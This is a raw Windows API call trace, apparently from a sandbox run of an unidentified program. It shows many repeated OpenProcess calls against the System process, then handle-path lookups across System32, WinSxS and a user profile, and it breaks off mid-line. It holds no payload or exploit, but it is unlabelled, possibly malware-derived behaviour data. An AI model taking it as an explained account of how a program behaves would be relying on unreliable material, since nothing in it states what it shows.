OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.971] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.971] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.971] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.971] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.972] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.972] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.972] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.973] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.973] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.973] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.973] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.974] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.974] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.974] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.974] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.975] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.975] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.975] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.976] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.976] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.976] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.976] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.977] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.977] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.977] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.977] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.977] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.978] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.978] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.978] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.978] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.979] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.979] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.980] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.980] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.981] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.981] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.981] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.981] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.982] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.982] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.982] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.982] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.982] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.983] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.983] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.983] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.983] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.984] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.984] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.984] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.984] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.984] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.985] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.985] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.985] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.985] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.986] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.986] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.986] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.986] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.986] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.991] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.991] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0088.991] GetFileType (hFile=0x138) returned 0x1 [0088.991] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0088.993] CloseHandle (hObject=0x138) returned 1 [0088.994] GetFileType (hFile=0x114) returned 0x1 [0088.994] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0088.996] CloseHandle (hObject=0x114) returned 1 [0088.996] GetFileType (hFile=0x138) returned 0x1 [0088.996] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a") returned 0x6b [0088.997] CloseHandle (hObject=0x138) returned 1 [0088.998] GetFileType (hFile=0x114) returned 0x0 [0088.998] CloseHandle (hObject=0x114) returned 1 [0088.998] GetFileType (hFile=0x138) returned 0x1 [0088.998] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0088.999] CloseHandle (hObject=0x138) returned 1 [0089.000] GetFileType (hFile=0x114) returned 0x1 [0089.000] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.001] CloseHandle (hObject=0x114) returned 1 [0089.001] GetFileType (hFile=0x138) returned 0x1 [0089.001] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0089.003] CloseHandle (hObject=0x138) returned 1 [0089.003] GetFileType (hFile=0x114) returned 0x1 [0089.003] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895") returned 0x64 [0089.004] CloseHandle (hObject=0x114) returned 1 [0089.004] GetFileType (hFile=0x138) returned 0x1 [0089.005] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.006] CloseHandle (hObject=0x138) returned 1 [0089.006] GetFileType (hFile=0x114) returned 0x1 [0089.006] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.007] CloseHandle (hObject=0x114) returned 1 [0089.008] GetFileType (hFile=0x138) returned 0x1 [0089.008] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.009] CloseHandle (hObject=0x138) returned 1 [0089.009] GetFileType (hFile=0x114) returned 0x1 [0089.009] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.011] CloseHandle (hObject=0x114) returned 1 [0089.011] GetFileType (hFile=0x138) returned 0x1 [0089.011] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.013] CloseHandle (hObject=0x138) returned 1 [0089.013] GetFileType (hFile=0x114) returned 0x1 [0089.013] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0089.014] CloseHandle (hObject=0x114) returned 1 [0089.015] GetFileType (hFile=0x138) returned 0x1 [0089.015] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3") returned 0x7b [0089.016] CloseHandle (hObject=0x138) returned 1 [0089.016] GetFileType (hFile=0x114) returned 0x1 [0089.016] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") returned 0x8c [0089.018] CloseHandle (hObject=0x114) returned 1 [0089.018] GetFileType (hFile=0x138) returned 0x1 [0089.018] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.019] CloseHandle (hObject=0x138) returned 1 [0089.019] GetFileType (hFile=0x114) returned 0x1 [0089.019] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.021] CloseHandle (hObject=0x114) returned 1 [0089.021] GetFileType (hFile=0x138) returned 0x1 [0089.021] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.022] CloseHandle (hObject=0x138) returned 1 [0089.022] GetFileType (hFile=0x114) returned 0x1 [0089.023] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0089.025] CloseHandle (hObject=0x114) returned 1 [0089.025] GetFileType (hFile=0x138) returned 0x1 [0089.025] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0089.027] CloseHandle (hObject=0x138) returned 1 [0089.027] GetFileType (hFile=0x114) returned 0x1 [0089.027] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.028] CloseHandle (hObject=0x114) returned 1 [0089.028] GetFileType (hFile=0x138) returned 0x1 [0089.029] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0089.030] CloseHandle (hObject=0x138) returned 1 [0089.030] GetFileType (hFile=0x114) returned 0x1 [0089.030] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0089.032] CloseHandle (hObject=0x114) returned 1 [0089.032] GetFileType (hFile=0x138) returned 0x1 [0089.032] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0089.034] CloseHandle (hObject=0x138) returned 1 [0089.034] GetFileType (hFile=0x114) returned 0x1 [0089.034] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 0x58 [0089.036] CloseHandle (hObject=0x114) returned 1 [0089.036] GetFileType (hFile=0x138) returned 0x1 [0089.036] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0089.038] CloseHandle (hObject=0x138) returned 1 [0089.038] GetFileType (hFile=0x114) returned 0x1 [0089.038] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0089.039] CloseHandle (hObject=0x114) returned 1 [0089.039] GetFileType (hFile=0x138) returned 0x1 [0089.039] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0089.041] CloseHandle (hObject=0x138) returned 1 [0089.041] GetFileType (hFile=0x114) returned 0x1 [0089.041] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0089.044] CloseHandle (hObject=0x114) returned 1 [0089.044] GetFileType (hFile=0x138) returned 0x1 [0089.044] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0089.045] CloseHandle (hObject=0x138) returned 1 [0089.045] GetFileType (hFile=0x114) returned 0x1 [0089.045] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0089.047] CloseHandle (hObject=0x114) returned 1 [0089.047] GetFileType (hFile=0x138) returned 0x1 [0089.047] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0089.049] CloseHandle (hObject=0x138) returned 1 [0089.049] GetFileType (hFile=0x114) returned 0x1 [0089.049] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0089.051] CloseHandle (hObject=0x114) returned 1 [0089.051] GetFileType (hFile=0x138) returned 0x1 [0089.051] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0089.053] CloseHandle (hObject=0x138) returned 1 [0089.053] GetFileType (hFile=0x114) returned 0x1 [0089.053] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0089.055] CloseHandle (hObject=0x114) returned 1 [0089.056] GetFileType (hFile=0x138) returned 0x1 [0089.056] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0089.058] CloseHandle (hObject=0x138) returned 1 [0089.058] GetFileType (hFile=0x114) returned 0x1 [0089.058] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0089.060] CloseHandle (hObject=0x114) returned 1 [0089.060] GetFileType (hFile=0x138) returned 0x1 [0089.060] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0089.062] CloseHandle (hObject=0x138) returned 1 [0089.063] GetFileType (hFile=0x114) returned 0x1 [0089.063] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 